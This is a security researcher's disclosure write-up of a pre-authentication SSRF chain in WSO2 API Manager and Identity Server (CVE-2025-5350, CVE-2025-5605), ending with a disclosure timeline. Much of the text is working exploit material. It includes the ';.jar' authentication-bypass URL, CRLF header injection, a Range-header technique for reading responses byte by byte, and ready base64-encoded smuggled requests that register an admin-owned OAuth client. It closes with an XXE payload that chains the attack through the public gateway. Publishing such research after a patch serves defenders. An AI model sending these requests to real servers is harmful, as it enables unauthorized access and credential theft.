WSO2 #3: Server-side request forgery
CVE-2025-5350 and CVE-2025-5605 combined make a pre-auth server-side request forgery (SSRF) vulnerability in WSO2 API Manager, Identity Server, and other WSO2 products.
This is my series on vulnerabilities I discovered in WSO2 software in 2025:
CVE-2025-5350 and CVE-2025-5605 combined make a pre-auth server-side request forgery (SSRF) vulnerability in WSO2 API Manager, Identity Server, and other WSO2 products.
Credit goes to LEXFO's nol for discovering this vulnerability before me. You can read their write-up here. Unfortunately, it seems that WSO2 did not begin to properly address the vulnerability until my disclosure, which came several months later.
Most WSO2 products include an ancient JSP file named WSRequestXSSproxy_ajaxprocessor.jsp, even though modern versions don't use or reference the file. It's a leftover artefact.
Reading the code, which has hardly changed since 2008, the script seems designed for one purpose: server-side request forgery. It makes a HTTP request to a URL supplied by a query parameter, and outputs the response.
Until 2020, it was possible to trigger WSRequestXSSproxy_ajaxprocessor.jsp by simply accessing its path directly, without any authentication. This was realised in 2020, so WSO2 issued a security advisory and patch for the problem, labelled WSO2-2020-0747.
However, the fix was insufficient.
What the patch did was make it so that you needed to be authenticated in order to access that JSP file. However, when analysing the source code responsible for that authentication, these lines stuck out to me:
public boolean handleSecurity(...) {
...
if(requestedURI.endsWith(".jar") || requestedURI.endsWith(".class")) {
log.debug("Skipping authentication for .jar files and .class file." + requestedURI);
return true;
}
...
}
The code here is saying that whenever the request path ends with .jar or .class, then don't worry about authentication.
This variable requestedURI doesn't include the query component of the URL, so a simple trick like WSRequestXSSproxy_ajaxprocessor.jsp?.jar wouldn't work.
However, WSO2 developers seem to have forgotten about the existence of matrix parameters. By adding ;.jar to any URL protected by this handleSecurity function, authentication is successfully skipped.
This allows attackers to again access WSRequestXSSproxy_ajaxprocessor.jsp directly, without authentication, to trigger the SSRF:
https://[HOST]/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar
?uri=<BASE64_of_target_URL>
&pattern=~
&username=~
&password=~
&payload=~
Basic exploitation of CVE-2025-5350
This .jar bypass is assigned CVE-2025-5605, and the underlying SSRF vulnerability is assigned CVE-2025-5350.
But why?
The hard-coded 'bypass authentication when the path ends in .jar' logic has been in WSO2's codebase since 2013. It's there because Java applets were a thing an incredibly long time ago, and WSO2 wanted to continue supporting them.
Requiring a valid session cookie to download applets caused unexpected problems, so these file extensions were whitelisted.
Basic usage of the SSRF
The WSRequestXSSproxy_ajaxprocessor.jsp code is relatively short, but not very intuitive. You can provide it the query parameters uri, patern, username, password, and payload, however each value must be base64-encoded, and if you don't want to provide values for the latter four, you'll need to use ~ to represent null.
Additionally, you will gain more control over the HTTP request using the options parameter, which accepts a series of key:value settings, base64-encoded and comma-separated (the encoding comes first).
The SSRF is heavily based around SOAP and XML. Every response is converted to XML, and if you want to make a HTTP request with a JSON body, you need to provide it an XML payload, which it will convert to JSON for you.
By default, the implied HTTP request method is POST. Basic usage of the SSRF using only a uri value will trigger a request with an empty SOAP envelope like so:
POST / HTTP/1.1
Host: whatever
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
User-Agent: Axis2
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body />
</soapenv:Envelope>A request to http://whatever using the SSRF
If you want to change that to a GET, you can provide a base64-encoded HTTPMethod:GET option; i.e.:
GET /carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar?uri=<Base64URL>&options=SFRUUE1ldGhvZDpHRVQ=&pattern=~&username=~&password=~&payload=~ HTTP/1.1
Host: wso2amHTTPMethod:GET base64-encoded is SFRUUE1ldGhvZDpHRVQ=
With that addition, the request submitted by WSO2 will look like:
GET / HTTP/1.1
Host: whatever
SOAPAction: ""
User-Agent: Axis2A request made with the HTTPMethod:GET option
Because the SSRF is heavily based around SOAP, it expects responses to well-formed XML or JSON. If the response is instead HTML, or an image, etc., then rather than showing you the response, you'll receive an XML parser error. However, this can usually be solved with a second vulnerability:
Injecting custom headers using a line-feed injection vulnerability
Used as intended, providing an action:something option will cause the WSO2 HTTP client to make a request with a SOAPAction: "something" header.
As there's no input sanitisation for these SOAPAction values, this can be used to insert custom headers to the outbound request. For instance, to inject Hello: World, you would use:
action:x\r\nHello: World\r\nx: Injecting the header Hello: World using SOAPAction
This would cause the outbound request to look like:
POST / HTTP/1.1
Content-Type: application/xml; charset=UTF-8
SOAPAction: x
Hello: World
x:
...Reading non-XML responses with the Range header
While injecting custom headers is useful, it might not be immediately apparent how this solves the issue of reading non-XML/JSON responses.
Well, most modern web servers support the Range request header, allowing HTTP clients to ask the server to skip some bytes.
If you send a request with a Range: bytes=1-1 header, the response will only include the first byte. If you trigger this request via the SSRF vulnerability, you'll see an XML parser error that looks like this:
org.apache.axis2.AxisFault: com.ctc.wstx.exc.WstxUnexpectedCharException: Unexpected character 'H' (code 72) in prolog; expected '<'
at [row,col {unknown-source}]: [1,1]XML parser error exposing the letter H
With that response, it's obvious that the first letter is H. Next, if you make the same request with Range: bytes=2-2, you'll get a different parser error: this time, it will complain that e is unexpected. Then you'll hear that l is unexpected, and so on, until, finally, you get a 416 Range Not Satisfiable response, indicating that you've reached the end.
org.apache.axis2.AxisFault: Transport error: 416 Error: Range Not SatisfiableThe error message when there are no more characters to read
You can string all those parser errors together to reconstruct the original document. This trick turns what might otherwise be a semi-blind SSRF into a full-read SSRF.
Let's take it further:
Request smuggling with HTTP pipelining
If you need even further control over the request made by the SSRF, you can take advantage of HTTP pipelining. Using the line-feed injection issue, you can fit a new, totally custom HTTP request into the action parameter.
This is useful when you want to trigger the server to make an unusual or malformed HTTP request. For example, one of the authentication bypass vulnerabilities I found in WSO2 API Manager needs a request with its HTTP method containing lowercase letters, e.g., Post. You can read about this vulnerability, a form of CVE-2025-10611, in my last post.
In production environments, WSO2 servers typically sit behind a reverse proxy such as nginx, Apache, or a proprietary CDN, load balancer, or WAF. These front-end servers will normally decline any requests with a strange, lowercase method, before they reach the WSO2 server, thwarting such an attack.
Consider an action value of:
action:x\r\nHost: 127.0.0.1:9443\r\n\r\nPost /keymanager-operations/dcr/register HTTP/1.1\r\nHost: 127.0.0.1:9443\r\nContent-Type: application/json\r\nContent-Length: 215\r\n\r\n{\n \"client_name\": \"B1Q7bt651Q7bt6T\",\n \"ext_application_owner\": \"admin\",\n \"grant_types\": [\n \"client_credentials\"\n ],\n \"ext_param_client_id\": \"B1Q7bt651Q7bt6T\",\n \"ext_param_client_secret\": \"iHy5aHRbkwztsvx\"\n}x: Smuggling a HTTP request inside SOAPAction
This can be encoded and submitted in the request:
GET /carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar?uri=aHR0cHM6Ly8xMjcuMC4wLjE6OTQ0My8%3D&pattern=%7E&username=%7E&password=%7E&payload=%7E&options=SFRUUE1ldGhvZDpHRVQ%3D%2CYWN0aW9uOngNCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQoNClBvc3QgL2tleW1hbmFnZXItb3BlcmF0aW9ucy9kY3IvcmVnaXN0ZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24NCkNvbnRlbnQtTGVuZ3RoOiAyMTUNCg0KewogICJjbGllbnRfbmFtZSI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfYXBwbGljYXRpb25fb3duZXIiOiAiYWRtaW4iLAogICJncmFudF90eXBlcyI6IFsKICAgICJjbGllbnRfY3JlZGVudGlhbHMiCiAgXSwKICAiZXh0X3BhcmFtX2NsaWVudF9pZCI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfcGFyYW1fY2xpZW50X3NlY3JldCI6ICJpSHk1YUhSYmt3enRzdngiCn14OiA%3D HTTP/1.1
Host: wso2amUsing the SSRF vulnerability to submit the base64-encoded malicious SOAPAction
This will cause the WSO2 server's to connect to itself at 127.0.0.1:9443 and make two HTTP requests over a single TCP connection:
GET / HTTP/1.1
Content-Type: text/xml; charset=UTF-8
SOAPAction: "x
Host: 127.0.0.1:9443
Post /keymanager-operations/dcr/register HTTP/1.1
Host: 127.0.0.1:9443
Content-Type: application/json
Content-Length: 215
{
"client_name": "B1Q7bt651Q7bt6T",
"ext_application_owner": "admin",
"grant_types": [
"client_credentials"
],
"ext_param_client_id": "B1Q7bt651Q7bt6T",
"ext_param_client_secret": "iHy5aHRbkwztsvx"
}x: "
User-Agent: Axis2
Host: 127.0.0.1:9443(The portion after } will break the connection, as x: " is treated as the beginning of a third request, and clearly that isn't a valid request line.)
After making that request via WSRequestXSSproxy_ajaxprocessor.jsp, you might only receive the response for the first request. However, if you quickly use the SSRF endpoint again to request a URL of same host, you'll get the response to the smuggled request, because the built-in HTTP client will reuse the existing connection, which has been knocked out of sync.
Extending the chain in WSO2 API Manager ≤ 4.2.0
It's also possible to make this request from the public gateway, by adding CVE-2025-2905 to the mix. This is useful when the management console is not exposed to the internet.
e.g.:
POST /services/WorkflowCallbackService HTTP/1.1
Host: example.net
SOAPAction: "urn:resumeEvent"
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://callback.workflow.apimgt.carbon.wso2.org">
<soapenv:Header/>
<soapenv:Body>
<ns:resumeEvent>
<ns:workflowReference></ns:workflowReference>
<ns:status>APPROVED</ns:status>
<ns:description>
<![CDATA[<!DOCTYPE blah SYSTEM "https://127.0.0.1:9443/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar?uri=aHR0cHM6Ly8xMjcuMC4wLjE6OTQ0My8%3D&pattern=%7E&username=%7E&password=%7E&payload=%7E&options=SFRUUE1ldGhvZDpHRVQ%3D%2CYWN0aW9uOngNCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQoNClBvc3QgL2tleW1hbmFnZXItb3BlcmF0aW9ucy9kY3IvcmVnaXN0ZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24NCkNvbnRlbnQtTGVuZ3RoOiAyMTUNCg0KewogICJjbGllbnRfbmFtZSI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfYXBwbGljYXRpb25fb3duZXIiOiAiYWRtaW4iLAogICJncmFudF90eXBlcyI6IFsKICAgICJjbGllbnRfY3JlZGVudGlhbHMiCiAgXSwKICAiZXh0X3BhcmFtX2NsaWVudF9pZCI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfcGFyYW1fY2xpZW50X3NlY3JldCI6ICJpSHk1YUhSYmt3enRzdngiCn14OiA%3D">]]>
</ns:description>
</ns:resumeEvent>
</soapenv:Body>
</soapenv:Envelope>SSRF-to-SSRF-to-auth-bypass chain.
Disclosure
- 2025-03-25: LEXFO reports the vulnerability to WSO2 (per their post).
- 2025-08-26: I notify WSO2 of the discovery.
- 2025-09-08: The vulnerability is fixed.
- 2025-09-19: WSO2 tells me that the issues were reported by another researcher.
- 2025-09-30: WSO2 notifies their paying users of the fix and provides a patch.
- 2025-10-24: WSO2 publishes public advisory.